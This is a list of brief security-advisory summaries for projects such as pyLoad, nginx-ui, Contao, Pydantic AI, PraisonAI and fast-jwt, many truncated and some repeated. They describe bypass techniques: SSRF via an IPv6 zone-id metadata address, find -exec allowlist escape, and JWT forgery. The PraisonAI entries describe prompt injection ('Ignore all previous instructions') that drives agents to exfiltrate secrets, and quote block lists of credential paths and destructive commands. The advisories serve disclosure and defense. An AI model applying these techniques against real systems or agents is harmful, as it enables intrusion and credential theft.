UnTar._safe_extractall — the hardening added for GHSA-mvwx-582f-56r7 — validates member names and symlink/hardlink targets, but never checks member types, and calls tarfile.extractall without a filter=. On Python < 3.14 the default extraction filter is fully_trusted, so a crafted tar containing device or FIFO entries makes pyLoad create them on disk. When pyLoad runs as root (the official Docker deployment), a block-device member grants raw disk access — full host compromise …

pyLoad determines the "client IP" used for its rate-limiting decorator and for its security/audit logging by reading the client-supplied X-Forwarded-For (XFF) HTTP header and taking the leftmost value. No trusted-proxy configuration exists (the Cheroot WSGI server faces clients directly, and there is no ProxyFix middleware). Because any client can freely set this header, an attacker can (1) completely bypass rate limiting by rotating the header on each request, and (2) …

An admin who revokes a user's privileges through the REST API does not actually revoke them, because the session carrying those privileges is never invalidated. pyLoad authorizes each request from values copied into the Flask session at login. set_session in webui/app/helpers.py writes role and perms once, and both login_required and the session branch of apikey_auth read them back from the session rather than from the database. The fix for GHSA-66hx-chf7-3332 …

Denial of Service (DoS): The pyLoad process will be killed by the Operating System's Out-Of-Memory (OOM) killer, or the entire system may become unresponsive due to swap thrashing or memory exhaustion. Service Instability: Any active downloads or tasks will be interrupted.

An admin who revokes or downgrades a non-admin user's permissions through pyLoad's own documented /api/<func> RPC surface — e.g. POST /api/set_user_permission (or its legacy alias /api/setUserPermission) — updates the target's database row but never invalidates that user's existing Flask cookie session. The demoted user keeps their pre-revocation role/permission bits on every subsequent WebUI page load and every subsequent /api/<func> call made with that cookie, for up to the default session_lifetime …

Api.getUserData (legacy) and Api.get_userdata are declared with @permission(Perms.ANY) and are reachable at /api/getUserData and /api/get_userdata. Because Perms.ANY == 0 and pyLoad's permission check is a bitmask AND, that gate is a no-op: every authenticated account passes, including one holding zero permission bits. Both methods are thin wrappers around check_auth(), which the maintainers deliberately restricted to administrators by omitting @permission (no entry in perm_map, so is_authorized() returns False for non-admins). The …

pyLoad ships the WindowsPhoneNotify addon, whose send() method opens an HTTP connection to a host taken directly from the plugin's pushurl configuration value. A user holding the standard non-admin SETTINGS permission can set pushurl and pushid and enable the addon through the web API, since these plugin options are not in the admin-only option set. Once enabled, the addon activates dynamically without a restart, and any completed download (download events …

The API-key cache in check_apikey() allows an attacker to authenticate with a forged API key as long as the legitimate key for the same key_id has been used recently. On a cache hit, the API key secret is never verified, resulting in a complete authentication bypass during the cache lifetime.

pacioli-guard's document-layer consent gate requires a human-minted, single-use, document-bound and act-bound marker before a credential carrying API Key Scope.require_consent may submit or cancel a document. Because ERPNext performs further document writes as a consequence of a governed act, nested acts are allowed to "ride" the consent established by the enclosing act instead of needing a marker of their own. The ride predicate returned true for every cancel, regardless of which …

Nginx-UI v2.4.3 stores the API JWT in a browser cookie named token and the AuthRequired middleware accepts that cookie as an authentication source. Because management endpoints are protected by AuthRequired and do not enforce a universal CSRF token or Origin/Referer check, a remote attacker can induce a logged-in administrator to submit cross-site state-changing requests. The attacker does not need to read the cross-origin response; the browser-sent cookie is enough to …

In Nginx UI versions 2.5.0 through 2.5.x, the node-signature authentication path staged an attacker-controlled request body in a temporary file and synchronized it to disk before validating the body digest and cryptographic signature. An unauthenticated remote client that can reach the API can provide syntactically valid signature metadata and cause storage and I/O consumption before the request is rejected.

The self-upgrade downloads the release binary and its checksum (*.tar.gz and *.tar.gz.digest) through the SAME endpoint (version.GetUrl(), which is github_proxy or, by default, the project's cloud.nginxui.com mirror), and verifies the binary ONLY by comparing it to that digest: digestFileContent == DigestSHA512(tarName). Both the binary and the digest come from the same origin, and there is NO cryptographic signature / public-key verification. The downloaded binary then replaces the running executable (selfupdate.CommitBinary) …

nginx-ui's Node.Secret is a master credential that bypasses all JWT/password authentication for the entire API. The application accepts this credential via a URL query parameter (?node_secret=), causing it to be recorded in plaintext in HTTP access logs, reverse proxy logs, browser history, and HTTP Referer headers. Additionally, the official cluster configuration format embeds node secrets directly into URL query strings stored in app.ini and environment variables, creating a systemic credential …

Incomplete fix of GHSA-5v7c-xpfp-p65m: the secure-session (OTP step-up) requirement added to the nginx, cert, dns, backup, site, and stream mutation routers was not applied to the parallel api/cluster router, so cluster node management and cluster-wide nginx reload/restart run with only a JWT and no step-up. An authenticated user whose JWT is stolen or persisted, but who does not hold a fresh secure-session, can perform cluster node CRUD (including reading and …

In Nginx UI versions 2.2.0 through 2.5.x, the official bundled reverse-proxy topology did not preserve the external client identity used by Gin. The backend treated the local proxy peer as the client because no trusted proxy was configured, while the proxy supplied the actual address in forwarding headers.

An authenticated user who can create and restore a backup can craft a valid backup archive that causes the restore staging process to write attacker-controlled files into the live Nginx configuration path even when both restore_nginx and restore_nginx_ui are set to false.

nginx-ui supports two second-factor methods — TOTP (OTP) and WebAuthn passkeys — and reports an account as 2FA-enabled when either is configured. However, the password login endpoint (POST /api/login) only enforces a second factor when a TOTP secret is present. An account that has registered a passkey but no TOTP is logged in after password verification alone — the passkey is never requested. This silently downgrades a passkey-protected account to …

An authenticated nginx-ui user can call POST /api/restore, upload a forged encrypted backup, restore app.ini, set nginx command settings such as TestConfigCmd, and then trigger command execution with POST /api/nginx/test. This was validated on nginx-ui 2.3.11 2(523) 6c86e5a5 in the local Docker container uozi/nginx-ui:latest.

ModuleRegistration::compile() reaches its follow-up registration branch on any POST to a page carrying the module. That branch checks neither FORM_SUBMIT nor the captcha result computed immediately above it, and resendActivationMail() leads to OptInToken::send(), which has no rate limit at all.

ModuleSearch decides whether to filter protected pages out of search results based on the current value of contao.search.index_protected, but the authorisation data lives per row in tl_search. Turning the setting off removes the filter without removing the rows, so protected pages that were indexed while it was on are returned to unauthenticated visitors such as title, URL and context snippet, even though the pages themselves still answer 401.

ImagesController joins the user controlled {path} onto the configured image target directory with Path::join(), which canonicalises .. segments, and never calls Path::isBasePath() to confirm the result stayed inside that directory. An unauthenticated GET with percent encoded dot segments therefore escapes the directory and the file is returned by BinaryFileResponse. Reads are bounded to the extensions in contao.image.valid_extensions, and paths below the upload directory fail for an unrelated reason, so this …

Due to a caching defect in the security voter that governs table-level access to Contao's Data Container (DCA) backend, a low-privileged, non-admin backend user can obtain unauthorized read, create, update, and delete access to database tables outside their assigned module permissions. This includes tables containing sensitive personal data, such as frontend member records and newsletter subscriber e-mail addresses.

core-bundle/config/services.yaml registers the preview access voter with the class Contao\CoreBundle\Security\Voter\DataContainer\PreviewAccessVoter, but the class shipped on disk is named PreviewVoter. Symfony resolves the class with getReflectionClass($class, false), gets null, silently skips the interface based autoconfiguration that would have tagged it as a voter, and the now untagged private service is removed when the container is compiled. The application boots without a warning, and the ownership rule in PreviewVoter::hasAccess() is never executed. …

An unauthenticated front end visitor can post a comment containing a XSS injection. The victim is any back end user who opens the Comments module, and moderation makes exposure certain rather than preventing it. No Content-Security-Policy header is sent on the Contao back end, so nothing mitigates the inline handler.

RequestTokenListener is the only generic REQUEST_TOKEN validator in Contao and it only runs on POST. On the GET side the guard is local and declarative, and it only fires when an act parameter is present. Every back end action dispatched through a different parameter therefore has no CSRF protection at all. This is a family rather than a single bug.

Argo CD runs a shell command in the repo-server when it clones or fetches an SSH Git repository that has a proxy URL. The proxy host and port are copied into an SSH ProxyCommand. A host that contains shell metacharacters breaks out of that command and runs in the repo-server. All versions from v2.11.0 onward are affected, including every currently supported release. v2.10.20 and earlier are not. The behavior was …

Argo CD runs a shell command in the repo-server when it clones or fetches an SSH Git repository that has a proxy URL. The proxy host and port are copied into an SSH ProxyCommand. A host that contains shell metacharacters breaks out of that command and runs in the repo-server. All versions from v2.11.0 onward are affected, including every currently supported release. v2.10.20 and earlier are not. The behavior was …

The AoE3 POST /game/cloud/getFileURL handler in luskaner/ageLANServer's bundled game server decodes an attacker-controlled names JSON array and immediately allocates response storage sized directly from the array's length (make(i.A, len(req.Names.Data))), with no request body size limit and no cap on the number of array elements anywhere in the request path. Because the default configuration ships with Authentication = 'disabled', any network client can obtain a session through unauthenticated platform login and …

Summary 0xJacky/nginx-ui contains a high-severity trust-boundary failure between ordinary users and cluster node credentials. The source code shows that cluster node list and detail endpoints are reachable by ordinary authenticated users and return node objects containing the token field. That same token is also used as the X-Node-Secret shared credential for node-to-node authentication. When the middleware receives a correct node secret, it upgrades the request to initUser and bypasses the …

<tina-markdown> renders a rich-text AST into the DOM and, for a nodes, assigns the node's URL straight to the anchor's href with no scheme check. A link authored in the CMS as javascript:… renders as a live javascript: anchor, so a visitor who clicks it executes attacker-supplied script in the site's origin. Every sibling renderer in the repository already sanitizes these URLs; this one does not.

Resolver::processReferences() collects <use> elements with the XPath predicate use[@href or @xlink:href], which is case sensitive. A <use> element written as xlink:HrEf is therefore never added to the reference graph, so the nesting-DoS nullification never marks it for removal. Sanitizer::cleanHrefAttributes() then runs later in the same pass and rewrites xlink:HrEf back to the canonical xlink:href. The sanitizer hands back a fully live nesting bomb that it would have stripped completely had …

Several remote-content download paths in Pydantic AI buffered the entire HTTP response body into memory before enforcing any size limit. An application that exposes the local web-fetch tool (web_fetch_tool, or the WebFetch capability's local fallback) to untrusted prompts can be driven to fetch an attacker-chosen URL that streams a very large body, exhausting process memory and crashing the worker. The same unbounded buffering applied to FileUrl media downloads (ImageUrl, DocumentUrl, …

Several remote-content download paths in Pydantic AI buffered the entire HTTP response body into memory before enforcing any size limit. An application that exposes the local web-fetch tool (web_fetch_tool, or the WebFetch capability's local fallback) to untrusted prompts can be driven to fetch an attacker-chosen URL that streams a very large body, exhausting process memory and crashing the worker. The same unbounded buffering applied to FileUrl media downloads (ImageUrl, DocumentUrl, …

When an application using Pydantic AI opts a URL into local network access — either a FileUrl with force_download='allow-local', or web_fetch_tool(allow_local_urls=True) — the cloud-metadata blocklist could be bypassed by appending an IPv6 zone identifier to a metadata address (for example fd00:ec2::254%251). The host ignores the zone identifier on a destination that is not link-local and delivers the request to the metadata endpoint anyway, exposing cloud IAM short-term credentials.

When an application using Pydantic AI opts a URL into local network access — either a FileUrl with force_download='allow-local', or web_fetch_tool(allow_local_urls=True) — the cloud-metadata blocklist could be bypassed by appending an IPv6 zone identifier to a metadata address (for example fd00:ec2::254%251). The host ignores the zone identifier on a destination that is not link-local and delivers the request to the metadata endpoint anyway, exposing cloud IAM short-term credentials.

Applications using Pydantic AI's local web-fetch tool can experience excessive CPU and memory use when it converts attacker-controlled HTML. An agent must fetch the affected page; provider-native web fetching is not affected.

Applications using Pydantic AI's local web-fetch tool can experience excessive CPU and memory use when it converts attacker-controlled HTML. An agent must fetch the affected page; provider-native web fetching is not affected.

The local web-fetch tool (web_fetch_tool, also used as the WebFetch capability's local fallback) processed responses with several steps whose running time grows quadratically with the size of certain server-controlled inputs, and ran them on the event loop: decoding the body with whichever charset the server declared, extracting the page title with a backtracking regular expression, and converting the HTML to markdown. An application that exposes this tool to untrusted prompts …

The local web-fetch tool (web_fetch_tool, also used as the WebFetch capability's local fallback) processed responses with several steps whose running time grows quadratically with the size of certain server-controlled inputs, and ran them on the event loop: decoding the body with whichever charset the server declared, extracting the page title with a backtracking regular expression, and converting the HTML to markdown. An application that exposes this tool to untrusted prompts …

Applications that wrap a model with ConcurrencyLimitedModel or limit_model_concurrency can permanently lose shared concurrency capacity when a streamed request releases its slot from a different task than the one that acquired it. This can happen when a stream ends early, and also when a stream is fully consumed using the default stream_text() debouncing. In an application that exposes an affected streaming endpoint to network clients and shares a long-lived model …

Applications that wrap a model with ConcurrencyLimitedModel or limit_model_concurrency can permanently lose shared concurrency capacity when a streamed request releases its slot from a different task than the one that acquired it. This can happen when a stream ends early, and also when a stream is fully consumed using the default stream_text() debouncing. In an application that exposes an affected streaming endpoint to network clients and shares a long-lived model …

The Pydantic AI development web chat UI (Agent.to_web(), clai web) does not validate the Host header of incoming requests. A website a developer visits can use DNS rebinding to make requests to a chat UI running on that developer's machine appear same-origin to the browser, causing the served agent to run and to execute its tools with the privileges and credentials of the local process.

The Pydantic AI development web chat UI (Agent.to_web(), clai web) does not validate the Host header of incoming requests. A website a developer visits can use DNS rebinding to make requests to a chat UI running on that developer's machine appear same-origin to the browser, causing the served agent to run and to execute its tools with the privileges and credentials of the local process.

The Pydantic AI development web chat UI (Agent.to_web(), clai web) did not check the content type of requests to its chat endpoint. This allowed a website visited by a developer to submit a request to a chat UI running on that developer's machine, causing the served agent to run and to execute its tools with the privileges and credentials of the local process. Binding the web UI to localhost — …

The Pydantic AI development web chat UI (Agent.to_web(), clai web) did not check the content type of requests to its chat endpoint. This allowed a website visited by a developer to submit a request to a chat UI running on that developer's machine, causing the served agent to run and to execute its tools with the privileges and credentials of the local process. Binding the web UI to localhost — …

Pydantic AI's OpenTelemetry instrumentation supports InstrumentationSettings(include_content=False) to exclude message content — user prompts, model completions, tool call arguments and responses — from exported telemetry, so that agents can be monitored without sending sensitive content to the observability backend. Retry prompts — the feedback messages Pydantic AI sends back to the model when its output fails validation or an output validator raises ModelRetry — were not covered by this setting when …

Pydantic AI's OpenTelemetry instrumentation supports InstrumentationSettings(include_content=False) to exclude message content — user prompts, model completions, tool call arguments and responses — from exported telemetry, so that agents can be monitored without sending sensitive content to the observability backend. Retry prompts — the feedback messages Pydantic AI sends back to the model when its output fails validation or an output validator raises ModelRetry — were not covered by this setting when …

Pydantic AI's OpenTelemetry instrumentation supports InstrumentationSettings(include_content=False) to exclude message content — user prompts, model completions, tool call arguments and responses, and any other message content — from exported telemetry, so that agents can be monitored without sending sensitive content to the observability backend. The message attributes honoured the setting. Several other parts of the same spans did not, and exported content regardless of it: Exceptions. Recorded as OpenTelemetry exception events, …

Pydantic AI's OpenTelemetry instrumentation supports InstrumentationSettings(include_content=False) to exclude message content — user prompts, model completions, tool call arguments and responses, and any other message content — from exported telemetry, so that agents can be monitored without sending sensitive content to the observability backend. The message attributes honoured the setting. Several other parts of the same spans did not, and exported content regardless of it: Exceptions. Recorded as OpenTelemetry exception events, …

An unsafe dynamic module loading vulnerability allows an attacker who can control a workflow file and a sibling tools.py to execute arbitrary Python code when the workflow is executed.

SkillTools.run_skill_script() accepts a script_path parameter and executes it via subprocess.run() without any path containment validation. While FileTools has _validate_path() with traversal detection, SkillTools performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The @require_approval decorator can be bypassed via YAML approve: for high-risk tools.

The shell command execution hardening introduced in PraisonAI npm 1.7.2 / Python 4.6.58 to fix GHSA-5jv7-2mjm-h6qj (utility-tools shell chaining) and GHSA-vjv9-7m7j-h833 (SandboxExecutor chaining) can be bypassed via find's built-in -exec action. The fix blocks shell metacharacters (;|&`><$()${}) and uses spawn() with shell: false. However, find remains in the safe command allowlist, and its -exec … {} + action executes commands without shell metacharacters — the + batch terminator replaces the …

Summary SecurityPolicy in praisonaiagents/sandbox/config.py is a documented configuration data class with fields for allow_subprocess, allowed_paths, blocked_paths, allowed_commands, blocked_commands, allowed_imports, and blocked_imports. Its strict() classmethod is explicitly described as creating "a strict security policy for untrusted code," setting allow_subprocess=False and allow_file_write=False, and inheriting default blocked_paths (/etc/passwd, /etc/shadow, ~/.ssh, ~/.aws, ~/.config) and blocked_commands (rm -rf, dd, mkfs, fdisk, shutdown, reboot). The default sandbox backend, Subprocess Sandbox (praisonai/sandbox/subprocess.py), implements code/command execution by writing …

PraisonAI's opt-in prompt-injection defense (enable_injection_defense()) only blocks at ThreatLevel.CRITICAL, which requires three or more distinct detector families to match simultaneously. A realistic single- or double-vector prompt injection (e.g. "Ignore all previous instructions…") is classified HIGH and passes through unmodified. The documented HIGH "sanitize" behavior is not implemented.

PraisonAI's new file-based custom command feature auto-discovers project commands from .praisonai/commands/*.md. When a user runs praisonai run –command <name> inside a repository, the command body is interpolated before it is sent as the model prompt. The interpolation code expands @path references by reading files relative to the current working directory, but it does not canonicalize the target or require it to stay inside the project. A repository-controlled command can therefore …

praisonaiagents automatically reads project-local .praisonai/config.toml defaults when constructing an Agent. A repository-controlled config can set defaults.output.output_file to an absolute path or a .. traversal path. When the developer later calls agent.start(…), PraisonAI writes the agent response to that path with open(…, "w"), creating parent directories if needed. This lets an untrusted project overwrite files outside the project root with the privileges of the user running PraisonAI.

The plugin manager loads and executes arbitrary .py files from .praisonai/plugins/ directories (both project-level and user home) via importlib.util.spec_from_file_location() + exec_module() with zero code signing, integrity verification, or sandboxing. Any attacker who can write a file to the plugins directory (via path traversal, supply chain attack, or compromised dependency) achieves arbitrary code execution when the plugin system initializes.

praisonai-platform lets an ordinary workspace member rename and recolor shared labels and add/remove labels on an owner-created issue even though direct label deletion is restricted to workspace admin/owner authority in current releases.

praisonai-platform lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch lead_id to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned 403 before the reassignment.

The PGVector and Cassandra knowledge-store backends validate SQL/CQL identifiers such as schema, keyspace, and collection names, but still insert the caller-controlled dimension argument directly into CREATE TABLE vector column declarations. A caller that can influence collection creation dimensions can append SQL/CQL tokens to the generated DDL executed by the database driver.

PraisonAI's MCP HTTP-stream server authenticates requests only when an API key is configured; the CLI defaults –api-key to None, so praisonai mcp serve –transport http-stream exposes the full MCP surface unauthenticated. A request with no Authorization (and no Origin) can initialize and tools/list (~50 tools), and the dispatcher forwards tool-call arguments to handlers without validating them against the advertised inputSchema. Runtime-confirmed for unauthenticated initialize/tools/list and the dispatcher schema-bypass. This is …

PraisonAI's Async Jobs API enables its API-key middleware only when PRAISONAI_JOBS_API_KEY is set, so by default every endpoint is unauthenticated. An unauthenticated POST /api/v1/runs accepts an attacker-controlled webhook_url; on job completion the server POSTs the job payload to it via httpx. The webhook_url has an SSRF validator (gethostbyname + private-IP check), but it validates at request time while httpx re-resolves at connection time — a DNS-rebinding TOCTOU that reaches internal …

PraisonAI gates dangerous tools (file writes, deletes, shell/code execution) behind an interactive approval prompt. The first approval of a tool is cached for the remainder of the run and silently reused for all later invocations of that tool with arbitrary, unreviewed arguments.

PraisonAI's praisonaiagents.context.fast FastContext feature treats workspace_path as the root directory for code search, but its model-facing search tools and high-level read_context() helper accept absolute paths and .. traversal paths without checking that the resolved path remains under that workspace. A lower-trust prompt or caller that can influence FastContext tool arguments can read, search, and enumerate files outside the intended project workspace; the resulting file content is then returned to the …

PraisonAI's web_crawl agent tool performs a server-side HTTP fetch of an agent/attacker-influenced URL. SSRF is meant to be prevented by _is_safe_crawl_url(), which resolves the hostname and rejects private/loopback/link-local IPs at validation time. The validated value is the URL string (not a pinned IP); the fetch backend then re-resolves the hostname at connection time. Because validation and connection perform two independent DNS resolutions, a DNS-rebinding domain that returns a public IP …

PraisonAI's praisonai.ui.context.ContextGatherer treats the configured directory as the project workspace, but project-controlled .praisoncontext and .praisoninclude files can name absolute paths or .. traversal paths. When context gathering runs, PraisonAI opens those outside paths and appends their contents to the generated context bundle. An attacker who can supply or modify a workspace repository can therefore cause process-readable files outside the intended project root to be sent to the caller or model …

CodeAgent._execute_python() executes LLM-generated Python code in a subprocess with the complete parent-process environment (os.environ.copy()), zero AST validation, zero import restrictions, and no sandbox enforcement — even when CodeConfig(sandbox=True) is explicitly set. This allows an attacker who can influence LLM output (via prompt injection in agent input, tool results, or ingested content) to exfiltrate all environment secrets (API keys, database credentials, cloud tokens) and execute arbitrary code on the host.

PraisonAI's patched PRAISONAI_CALL_AUTH=disabled safeguard for the n8n/call agent invocation API can be bypassed with a spoofed Host: 127.0.0.1 header, allowing an unauthenticated network caller to list and invoke registered agents when the service is reachable and the opt-out is enabled.

PraisonAI's API deployment generator copies deploy.api.host from agents.yaml directly into generated Python source without safe literal encoding. A malicious PraisonAI project can set that host value to a Python expression splice; when an operator runs the API deploy flow, the generated server source compiles and executes the injected expression at startup. The same generator also embeds agents_file directly into generated route-handler expressions, giving a second route-time source injection site if …

The AICoder UI component exposes write_to_file and execute_command tools to the LLM with no path validation and no command sanitization. An attacker can achieve arbitrary file write to any location on the filesystem (including /root/.ssh/authorized_keys, /etc/crontab) and arbitrary command execution through prompt injection in the chat interface. Docker containers run as root, maximizing impact.

The AgentOS server in the praisonai TypeScript/npm package ships an insecure default: it binds 0.0.0.0, sets no API key, and uses CORS * with credentials. The API-key middleware is only registered when an API key is configured, so the documented quickstart (new AgentOS({agents:[…]}).serve({port})) exposes, unauthenticated, GET /api/agents (which leaks agent names/roles/instructions, i.e. system prompts) and POST /api/chat (which invokes agents). Any network peer can read agent system prompts and drive …

music-metadata 11.15.0 is vulnerable to uncontrolled memory allocation in the APEv2 parser. The parser reads the size of an APEv2 tag item from the input file and uses that value to allocate memory before checking whether the file actually contains that many bytes. A small crafted .ape file can declare a very large binary tag item, such as cover art, and force the parser to allocate a large buffer. This …

DsfParser.parseChunks skips an unrecognised chunk's payload with an un-awaited call: this.tokenizer.ignore(Number(chunkHeader.size) - ChunkHeader.len); // lib/dsf/DsfParser.js:51 — no await ChunkHeader.len is 12. A crafted .dsf chunk with id != 'fmt ' and size in 0..11 makes the argument negative; strtok3 (≥ 10.3.5) throws RangeError on a negative ignore. Because the call is fire-and-forget, the rejection is detached from the parseBuffer() promise chain → unhandled rejection → Node's default (≥ 15) crashes …

StsdAtom.get() in lib/mp4/AtomToken.ts parses an MP4 stsd (sample description) box's entry table by advancing a cursor with off += size - 4, where size is a 32-bit, attacker-controlled per-entry length read straight from the file. When size == 0, that advance is 0, so a file declaring a huge entry_count and a first entry size of 0 spins forever: same bytes read every iteration, no progress, no exit. Because StsdAtom.get …

The ID3v2 parser in music-metadata trusts the tag size field without validation and allocates the full requested buffer before reading. A specially crafted MP3 file with a truncated ID3v2 tag can force allocation of up to 268 MB from a 10-byte file, causing server memory exhaustion. This vulnerability affects all parsers that support ID3v2 tags (MP3, FLAC, DSF, Musepack) and succeeds silently—callers don't see an error.

The Matroska/WebM EBML parser decodes attacker-controlled variable-length integer (VINT) element lengths without first validating that the declared element fits within its enclosing container or the available input. Leaf lengths are then used directly for string-token and Uint8Array allocations. A very small crafted .webm, .mkv, or .mka file can therefore cause a disproportionately large allocation, an out-of-memory denial of service, or—in one demonstrated parseFile case—an uncatchable V8 fatal abort.

A truncated map32 header causes an out-of-bounds buffer read and throws RangeError instead of IncompleteBufferError. Applications that rely on IncompleteBufferError to wait for additional bytes may terminate a request, stream, or worker unexpectedly. No adjacent memory is disclosed because the buffer implementation checks bounds.

The reserved MessagePack byte 0xc1 is incorrectly treated as incomplete input. When it appears at the start of a decoder stream, all subsequent data is retained while the decoder waits for bytes that can never make the value valid, allowing memory exhaustion.

The streaming decoder reparses an incomplete container from the beginning whenever another chunk arrives. A remote peer can split one valid MessagePack value across many small chunks, causing quadratic CPU usage and blocking the event loop.

Passing an empty or partial options object disables the default protoAction: 'error' protection. A map containing a proto key can then replace the prototype of the decoded object, potentially changing inherited properties or causing unexpected behavior in downstream code. Only the decoded object's prototype is affected; this does not modify Object.prototype globally.

The streaming decoder recursively invokes itself for every complete value remaining in a chunk. A single chunk containing many small valid MessagePack values can exhaust the JavaScript call stack and interrupt the process or stream.

The decoder has no nesting-depth limit for arrays and maps. An attacker who can provide MessagePack input can use deeply nested containers to exhaust the JavaScript call stack and interrupt the process or request handler.

Decoding a negative signed 64-bit integer modifies the corresponding bytes in the caller-provided input buffer. Applications that retain or reuse encoded input for integrity checks, logging, or subsequent processing may observe silently corrupted data. Positive integers and other MessagePack value types are not affected.

mechanize applied no trust boundary to a meta refresh, so credentials set through Mechanize#request_headers= followed a refresh that pointed at another origin.

mechanize leaked credentials to the redirect target when an HTTP redirect crossed to another host. Credentials set through Mechanize#request_headers= leaked even when they were Authorization.

On the zero-configuration TLS path, the connector accepts a self-signed server certificate at the TLS level and then validates the server's identity from the fingerprint hash the server appends to the final OK_Packet (Authentication.validateFingerPrint). That validation calls hash() on the authentication plugin in use to obtain the password-derived secret both sides combine with the seed and the certificate fingerprint. Ed25519PasswordAuth.hash() referenced an identifier seed that was not in scope: it …

With the non-default permitSetMultiParamEntries option enabled, an object passed as a query parameter is expanded into a SET clause, each key becoming a column name. The three code paths implementing that expansion built the backtick-quoted identifier by hand and wrote the key out unescaped, while only the value was escaped. A key containing a backtick therefore closed the identifier, and the remainder of the key was parsed as SQL. The …

When escaping string and binary parameters for the text protocol, the connector always escaped the quote character with a backslash, without ever consulting the session's NO_BACKSLASH_ESCAPES SQL mode. The server status flag was declared (STATUS_NO_BACKSLASH_ESCAPES) but never read. Under a server or session running with NO_BACKSLASH_ESCAPES, the backslash is an ordinary character and the quote must be escaped by doubling it. The escaped value produced by the connector therefore closed …

When encoding a GeoJSON Polygon or MultiPolygon parameter for the binary protocol, the connector sized its output buffer from the length property of each ring, then wrote each ring only if it was a real array. The two loops disagreed: any non-array ring carrying a numeric length (a string, or an object such as {"length": 4000}) still reserved 4 + 16 * length bytes, but wrote none of them. The …

MongoDBChatMessageHistory did not enforce the documented string type for session identifiers at runtime. In affected applications, a structured session identifier could be interpreted as a MongoDB query condition rather than as a literal identifier. Applications are affected when they pass untrusted session identifier input to MongoDBChatMessageHistory and store multiple users’ histories in the same collection. An attacker who can invoke chat-history operations may be able to read, modify, or delete …

Every reactive (Spring WebFlux + Spring Data R2DBC + SQL) application generated by generator-jhipster contains an SQL injection in the paginated entity list endpoints (GET /api/<entity>?sort=…). The sort request parameter is taken verbatim from the user and concatenated into the SQL ORDER BY clause without quoting or validation. Because the generated query has no bound parameters, the R2DBC drivers execute it via the simple query protocol, so ;-separated extra statements …

Applications generated by generator-jhipster v9.2.0 can persist user-controlled Blob ContentType values and later use those values as the MIME type for client-side Blob objects. The shared generated openFile helper creates an object URL from the Blob and opens it in a new window. For Blob-bearing entities writable by normal authenticated users, this creates a stored XSS chain: attacker-controlled Blob content and MIME type are stored through the generated REST API, …

Applications generated by generator-jhipster v9.2.0 can persist user-controlled Blob ContentType values and later use those values as the MIME type for client-side Blob objects. The shared generated openFile helper creates an object URL from the Blob and opens it in a new window. For Blob-bearing entities writable by normal authenticated users, this creates a stored XSS chain: attacker-controlled Blob content and MIME type are stored through the generated REST API, …

A legacy API to retrieve session details could be misused to retrieve metadata (such as title, description and conveners) of a restricted session within without having access to that session, as long as the event itself was accessible.

Indico makes outgoing requests to user-provides URLs in various places. This is mostly intentional and part of Indico's functionality, but of course it is never intended to let you access "special" targets such as localhost or cloud metadata endpoints. The previous fix (CVE-2026-25738) did not cover an edge case so it was still possible to craft a URL that pointed to a local target but was accepted as valid by …

There is a Cross-Site-Scripting vulnerability in the minute editor conflict UI tha's shown when concurrent edits are made to the same minutes in an event.

There is a Cross-Site-Scripting vulnerability in fields that allow entering custom URLs.

Missing authorization checks in the Predicates API may allow a malicious client to execute arbitrary code on a Hazelcast member.

A flaw has been found in Hazelcast Enterprise Edition and Community Edition, which would allow a low-privileged malicious client to read arbitrary data in memory from any cluster member (including Java heap memory, off-heap data, and JVM process address space). Additionally, such a client may be able to cause one or more cluster members to crash, or in some Enterprise Edition configurations also corrupt memory contents, potentially leading to remote …

Handlebars.precompile() generates JavaScript source that is commonly embedded in browser <script> elements. Before the fix, static template text containing </script> was emitted unchanged. HTML parsers recognize </script> even inside a JavaScript string literal, closing the surrounding script element and allowing following attacker-controlled markup to be parsed and executed. This affects applications that precompile attacker-controlled templates and embed the generated source directly in an HTML <script> element. It does not affect …

Handlebars can expose the Function constructor despite its prototype-access deny list. When a template reaches Function.prototype, its own constructor property is returned before the deny list is checked. An attacker who can render a controlled template with allowProtoMethodsByDefault: true can inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked. If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), …

A denial-of-service (DoS) vulnerability exists in github.com/moby/sys/user before v0.4.1 when parsing specially crafted user or group database files. An attacker able to supply a malicious /etc/passwd or /etc/group-style file may cause excessive memory consumption, potentially resulting in process termination due to Out Of Memory (OOM) conditions.

cacheSet only derives its exp cache deadline inside hasIat (src/verifier.js:127-140). JWT iat is optional. For a valid token with exp but no iat, cacheSet substitutes clockTimestamp + clockTolerance + cacheTTL (src/verifier.js:142-146). Later, the cache path returns the saved payload before decoding or invoking verifyToken (src/verifier.js:372-388). Since expiration validation is in verifyToken, the expired token remains accepted until the cache deadline.

The fix for CVE-2026-34950 (CVSS 9.1, released in v6.2.0) is incomplete. It adds key.trim() to the PEM-detection path in src/crypto.js, but String.prototype.trim() only strips characters classified as whitespace by the ECMAScript specification. The subsequent ^-anchored regex (/^—–BEGIN(?: (RSA))? PUBLIC KEY—–/) still requires the PEM header at position 0 — so any non-whitespace leading byte (control chars, zero-width unicode, # comments, HTTP-style headers, PGP wrappers) bypasses detection and falls through to …

createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.

fast-jwt 6.2.4 silently classifies raw serialized public JWK JSON as an HMAC secret. If an application supplies public JWK JSON text as the verifier key and HS256 is explicitly allowed or automatically inferred, an attacker who knows the same public JSON text can use it as an HMAC key and create an arbitrary HS256 token that fast-jwt accepts as valid. This can result in authentication or authorization bypass through forged …

createVerifier({ clockTolerance: Infinity }) silently bypasses both exp (expiry) AND nbf (not-before) validation. Any expired or not-yet-active token is accepted as valid. The same primitive also corrupts the verifier's internal cache so cached entries inherit infinite validity — they remain valid past a later developer-removed Infinity config until LRU eviction.

